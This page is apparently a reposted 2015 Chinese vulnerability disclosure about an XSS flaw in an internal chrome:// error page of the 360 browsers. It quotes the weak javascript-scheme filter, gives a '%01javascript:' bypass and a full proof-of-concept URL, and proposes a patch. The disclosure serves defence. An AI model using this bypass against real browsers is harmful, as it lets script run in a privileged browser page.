360安全浏览器chrome域XSS - 网站安全

360安全浏览器chrome域XSS - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-17 10:15 作者：阅读:次

[导读] 某chrome域页面过滤不严谨导致XSS.se_error.js 97line:if(/^\s*javascript：/i.test(this._error_url)){ this._error_url = #39;#39;; }使用下面这个向量就可以轻松绕过......

某chrome域页面过滤不严谨导致XSS.

se_error.js 97line:

if(/^\s*javascript：/i.test(this._error_url)){
          this._error_url = '';
        }

使用下面这个向量就可以轻松绕过限制:

%01javascript：alert(1)

使用360极速浏览器访问:

chrome://se-errors/?&url=%01javascript：alert(document.domain)&error=dnserror

点击刷新页面即可触发XSS.

修复方案：

source:
if(/^\s*javascript：/i.test(this._error_url)){
          this._error_url = '';
        }

patch:


var link = document.createElement('a');
link.href = this._error_url;
if(link.protocol=='javascript：' || link.protocol=='data:'){
          this._error_url = '';
        }

字体管家软件内XSS构造恶意连接将永久性造成本

韵达任意手机账户密码秒改 - 网站安全 - 自学p

子栏目

360安全浏览器chrome域XSS - 网站安全 - 自学php

最新评论

添加评论

更多文章推荐

添加评论